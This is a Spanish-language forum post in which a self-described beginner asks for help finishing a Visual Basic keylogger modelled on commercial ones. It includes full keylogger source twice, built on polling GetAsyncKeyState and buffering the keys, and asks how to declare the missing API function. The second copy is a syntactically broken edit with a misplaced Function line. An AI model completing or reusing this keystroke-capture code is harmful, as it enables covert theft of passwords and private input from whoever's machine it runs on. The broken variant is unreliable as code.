Hola,recientemente quiero programarme poco a poco un keylogger que capture todas las teclas pulsadas como acen los keyloggers mas populares como el perfect keylogger o el ardamax keylogger (en fin,que trato de hacer un keylogger bueno o decente simplemente),mi problema es que apenas he empezado a meterme en esto de la programación,y en concreto llevo menos de un año estudiando Java,y me quiero hace un ejecutable-keylogger en Visual Basic,así k buské por google y por este foro,y akí encontré un código de un keylogger en VB que no tiene mala pinta,el código es:

'
'Módulo estándar basKeyLogger.bas
'
Option Explicit

Public bLogEnabled As Boolean

Function GetActiveKey() As Integer
         Static bStarted As Boolean
         Dim i%

  If Not bStarted Then
    'Inicializa el estado de las teclas llamando a
    'la función GetAsyncKeyState.
    '
    For i = 1 To 256
      Call GetAsyncKeyState(i)
    Next

    bStarted = True
  End If

  For i = 1 To 256
    'Obtiene la tecla pulsada actualmente.
    '
    If GetAsyncKeyState(i) Then
      GetActiveKey = i
     
      Exit For
    End If
  Next
End Function

Sub StopLog()
  bLogEnabled = False
End Sub

Sub LogKeys()
        Dim snTimer!
        Dim iActiveKey%
        Dim sChar$, sData$

  bLogEnabled = True
 
  Do While bLogEnabled
    snTimer = Timer
   
    Do While (Timer - snTimer) < 0.125
      'Espera 125 milisegundos hasta
      'la próxima pulsación.
    Loop
   
    iActiveKey = GetActiveKey
   
    Select Case iActiveKey
      Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ
        sChar = Chr$(iActiveKey)
     
        sData = sData & sChar
     
      Case vbKeyReturn
        'Imprime lo que tiene en el buffer.
        '
        Debug.Print sData
       
        sData = vbNullString
      Case Else
        'Verifica otras teclas.
    End Select
  Loop
End Sub


El problema está con la función GetAsyncKeyState,intenté generar el ejecutable con ese código,pero me decía k dicha función no estaba definida,y lo malo es que soy muy torpe en programacion,mis conocimientos son minimos,y no sé como definir dicha función,y claro...para personalizar mi keylogger a mi gusto deberia estudiar por mí mismo y eso haré,pues no es plan de que me hagan el trabajo,pero eso es en cuanto a la personificación del keylogger,yo ahora tengo un problema con un código encontrado,y si me pueden ayudar con dicha definición pues mejor jeje aunke ya e dicho k no pretendo que me construyan todo el keylogger,solo pido ayuda para desatascarme

(m e enrrollado demas creo yo U_u  )

gracias por adelantado

Modifiké el código añadiendo la declaración (en negrita)

'
'Módulo estándar basKeyLogger.bas
'
Option Explicit

Public bLogEnabled As Boolean

Function GetActiveKey() As Integer
Function GetAsyncKeyState() As Integer
         Static bStarted As Boolean
         Dim i%

  If Not bStarted Then
    'Inicializa el estado de las teclas llamando a
    'la función GetAsyncKeyState.
    '
    For i = 1 To 256
      Call GetAsyncKeyState(i)
    Next

    bStarted = True
  End If

  For i = 1 To 256
    'Obtiene la tecla pulsada actualmente.
    '
    If GetAsyncKeyState(i) Then
      GetActiveKey = i
     
      Exit For
    End If
  Next
End Function

Sub StopLog()
  bLogEnabled = False
End Sub

Sub LogKeys()
        Dim snTimer!
        Dim iActiveKey%
        Dim sChar$, sData$

  bLogEnabled = True
 
  Do While bLogEnabled
    snTimer = Timer
   
    Do While (Timer - snTimer) < 0.125
      'Espera 125 milisegundos hasta
      'la próxima pulsación.
    Loop
   
    iActiveKey = GetActiveKey
   
    Select Case iActiveKey
      Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ
        sChar = Chr$(iActiveKey)
     
        sData = sData & sChar
     
      Case vbKeyReturn
        'Imprime lo que tiene en el buffer.
        '
        Debug.Print sData
       
        sData = vbNullString
      Case Else
        'Verifica otras teclas.
    End Select
  Loop
End Sub


Pero ahora me falta añadir un "End Function",pero no sé donde debe terminar la función GetAsyncKeyState,sería mas fácil si supiera interpretar TODO el código U_u e probado a ponerlo inmediatamente depsues del primer "End Function",pero nada...

weno,si alguien puede seguir guiandome selo  agredeceré...mientras estaré estudiando programación en VB...xDDD (falta me hace,ya...)